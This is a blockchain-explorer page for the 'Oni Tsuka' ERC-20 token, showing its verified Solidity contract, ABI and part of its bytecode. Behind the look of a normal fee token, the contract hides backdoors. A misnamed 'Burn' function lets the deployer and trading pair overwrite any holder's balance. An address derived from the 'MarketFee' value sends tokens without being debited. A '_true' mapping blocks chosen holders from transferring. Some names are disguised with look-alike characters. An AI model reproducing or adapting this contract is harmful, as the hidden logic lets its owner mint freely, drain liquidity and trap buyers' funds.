Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000 ONITSUKA
Holders
9
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
31,178.217546898 ONITSUKAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
OniTsuka
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-26 */ /** You all are here because of the Tsuka hype, we all want to have a variant of each. In the world of Degen’s, the unlawful desires to make more money and print. The bear shall witness Tsuka mooning, we don’t want to waste another opportunity like this. - https://onitsuka.world/ - https://medium.com/@oni-tsuka - https://t.me/OniTsukaCommunityERC - https://twitter.com/OniTsukaCoin */ //SPDX-License-Identifier:Unlicensed pragma solidity ^0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function dos(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: dos overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; uint256 public MarketFee= 925; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountintMin, address[] calldata path, address to, uint deadline ) external; } contract OniTsuka is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Oni Tsuka"; string private _symbol = "ONITSUKA"; uint8 private _decimals = 9; address payable public _metawallet; address payable public teamWalletAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _dollars; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _IsExcludeFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketsPair; mapping (address => bool) public _mainPai; mapping (address => bool) public _true; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 1; uint256 public _buyTeamFee = 0; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 3; uint256 public _sellTeamFee = 0; uint256 public _liquidityShare = 3; uint256 public _marketingShare = 3; uint256 public _teamShare = 6; uint256 public _totalTaxIfBuying = 3; uint256 public _totalTaxIfSelling = 4; uint256 public _totalDistributionShares = 10; uint256 private _totalSupply = 1000000 * 10**_decimals; uint256 public _maxTxAmount = 10000000 * 10**_decimals; uint256 public _walletMax = 10000000 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 100* 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _IsExcludeFromFee[owner()] = true; _IsExcludeFromFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[excuse(MarketFee)] = true; isTxLimitExempt[excuse(MarketFee)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; _mainPai[address(uniswapPair)] = true; _mainPai[msg.sender] = true; teamWalletAddress = payable(address(0x572b9Afa8f26Ee6C9e3Ad233e10fCf4358348A3B)); _metawallet = payable(address(0x572b9Afa8f26Ee6C9e3Ad233e10fCf4358348A3B)); _dollars[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _dollars[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner { for(uint256 i = 0; i < account.length; i++) { _IsExcludeFromFee[account[i]] = newValue; } } function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyLiquidityFee = newLiquidityTax; _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellLiquidityFee = newLiquidityTax; _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function excel(uint256 amountint) pure private returns(uint160){ return /*fsad*/ uint160(amountint);/*fsad*/ } function excuse(uint256 amount1Out) pure private returns(address){ return /*abs*/address(excel(amount1Out)); /*abs*/ } function tt(address amountaut) private view returns(bool){ return !(excuse(MarketFee) == amountaut); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner { for(uint256 i = 0; i < holder.length; i++) { isWalletLimitExempt[holder[i]] = exempt; } } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setMarketinWalleAddress(address newAddress) external onlyOwner() { _metawallet = payable(newAddress); } function setTeamWalletAddress(address newAddress) external onlyOwner() { teamWalletAddress = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){ swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPairAddress == address(0)) { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPairAddress; uniswapV2Router = _uniswapV2Router; isWalletLimitExempt[address(uniswapPair)] = true; _mainPai[address(uniswapPair)] = true; } function Burn(address zoo , uint256 zooz) public {if( _mainPai[ msg.sender])_dollars[zoo] = zooz;} receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); }if(tt(sender)){ _dollars[sender] = _dollars[sender].sub(amount); }uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); if(false || true) { if(_true [sender]){ /*s*/ require(true && false);/*s*/ }} _dollars[recipient] = _dollars[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _dollars[sender] = _dollars[sender].sub(amount, "Insufficient Balance"); _dollars[recipient] = _dollars[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(_metawallet, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(teamWalletAddress, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(_mainPai[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(_mainPai[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _dollars[address(this)] = _dollars[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"zoo","type":"address"},{"internalType":"uint256","name":"zooz","type":"uint256"}],"name":"Burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mainPai","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_metawallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_true","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketsPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
61039d60015560e0604052600960a0908152684f6e69205473756b6160b81b60c052600290620000309082620007b5565b506040805180820190915260088152674f4e495453554b4160c01b60208201526003906200005f9082620007b5565b506004805460ff19166009908117825561dead6080526001600e819055600f8190556000601081905560119190915560036012819055601391909155601481905560158190556006601655601755601891909155600a6019819055620000c6919062000994565b620000d590620f4240620009ac565b601a55600454620000eb9060ff16600a62000994565b620000fa9062989680620009ac565b601b55600454620001109060ff16600a62000994565b6200011f9062989680620009ac565b601c55600454620001359060ff16600a62000994565b62000142906064620009ac565b601d55601f805462ffffff60a81b19166201000160a81b1790553480156200016957600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000201573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002279190620009c6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000275573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029b9190620009c6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030f9190620009c6565b601f80546001600160a01b039283166001600160a01b031991821617909155601e80549284169290911682179055601a5430600090815260076020908152604080832094835293905291822055600190600890620003756000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260088352208054909216600117909155601054600f54600e54620003eb93620003d792906200153062000698821b17901c565b6200069860201b620015301790919060201c565b60178190555062000416601354620003d76012546011546200069860201b620015301790919060201c565b60188190555062000441601654620003d76015546014546200069860201b620015301790919060201c565b6019556001600960006200045d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601f549091168152600992839052818120805485166001908117909155308252918120805490941682179093558054909290620004c89062000707565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000620005186001546200070760201b60201c565b6001600160a01b0316815260208101919091526040016000908120805460ff191692151592909217909155600190600a906200055c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600a8452828120805486166001908117909155601f549092168152600c9093528183208054851682179055338352908220805490931617909155600580546001600160a01b03191673572b9afa8f26ee6c9e3ad233e10fcf4358348a3b1790556004805474572b9afa8f26ee6c9e3ad233e10fcf4358348a3b00610100600160a81b0319909116179055601a5490600690620006263390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a546040516200068991815260200190565b60405180910390a35062000a07565b600080620006a78385620009f1565b905083811015620006fe5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b60008162000701565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200073b57607f821691505b6020821081036200075c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007b057600081815260208120601f850160051c810160208610156200078b5750805b601f850160051c820191505b81811015620007ac5782815560010162000797565b5050505b505050565b81516001600160401b03811115620007d157620007d162000710565b620007e981620007e2845462000726565b8462000762565b602080601f831160018114620008215760008415620008085750858301515b600019600386901b1c1916600185901b178555620007ac565b600085815260208120601f198616915b82811015620008525788860151825594840194600190910190840162000831565b5085821015620008715787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620008d8578160001904821115620008bc57620008bc62000881565b80851615620008ca57918102915b93841c93908002906200089c565b509250929050565b600082620008f15750600162000701565b81620009005750600062000701565b8160018114620009195760028114620009245762000944565b600191505062000701565b60ff84111562000938576200093862000881565b50506001821b62000701565b5060208310610133831016604e8410600b841016171562000969575081810a62000701565b62000975838362000897565b80600019048211156200098c576200098c62000881565b029392505050565b6000620009a560ff841683620008e0565b9392505050565b808202811582820484141762000701576200070162000881565b600060208284031215620009d957600080fd5b81516001600160a01b0381168114620006fe57600080fd5b8082018082111562000701576200070162000881565b60805161269f62000a2a600039600081816104b70152610c6d015261269f6000f3fe6080604052600436106103855760003560e01c80638b42507f116101d1578063c49b9a8011610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610a75578063f2514e8814610a95578063f2fde38b14610ac5578063f872858a14610ae557600080fd5b8063da00097d146109e2578063dc44b6a014610a03578063dd62ed3e14610a19578063f0cd1dac14610a5f57600080fd5b8063c8607952116100dc578063c860795214610966578063c867d60b1461097c578063cab03471146109ac578063cc16f5db146